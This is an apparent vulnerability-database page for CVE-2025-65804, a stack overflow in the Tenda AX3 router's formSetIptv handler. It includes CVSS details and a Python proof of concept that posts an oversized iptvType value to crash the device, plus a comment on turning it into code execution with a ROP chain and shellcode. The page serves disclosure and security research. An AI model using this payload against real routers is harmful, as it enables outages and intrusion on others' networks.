CVE-2025-65804

Description

Tenda AX3 v16.03.12.11 contains a stack overflow in formSetIptv via the iptvType parameter, which can cause memory corruption and enable remote code execution (RCE).

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:tenda:ax3_firmware:16.03.12.11:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:tenda:ax3:-:*:*:*:*:*:*:* - NOT VULNERABLE

Tenda AX3 v16.03.12.11

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2025-65804 PoC - Tenda AX3 formSetIptv Stack Overflow
# Target: Tenda AX3 router with firmware v16.03.12.11

target_ip = "192.168.0.1"  # Default Tenda router IP
url = f"http://{target_ip}/goform/formSetIptv"

# Generate payload with 500+ 'A' characters to trigger overflow
# Adjust length based on actual buffer size
payload_length = 600
iptvType = "A" * payload_length

data = {
    "iptvType": iptvType,
    "iptvEnable": "1",
    "wanType": "dhcp",
    "vlanId": "100"
}

try:
    print(f"[*] Sending exploit payload to {url}")
    print(f"[*] Payload length: {payload_length}")
    response = requests.post(url, data=data, timeout=5)
    print(f"[*] Response status: {response.status_code}")
    print(f"[*] Response: {response.text[:200]}")
except requests.exceptions.RequestException as e:
    print(f"[!] Request failed: {e}")

# Note: For RCE, replace 'A' with ROP chain + shellcode

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-65804
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-65804
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-65804/
[4] VulDB https://vuldb.com/cve/CVE-2025-65804
[5] https://river-brow-763.notion.site/Tenda-AX3-Buffer-Overflow-in-formSetIptv-2aaa595a7aef8072968edc528a2d95b1

Raw JSON Data

JSON

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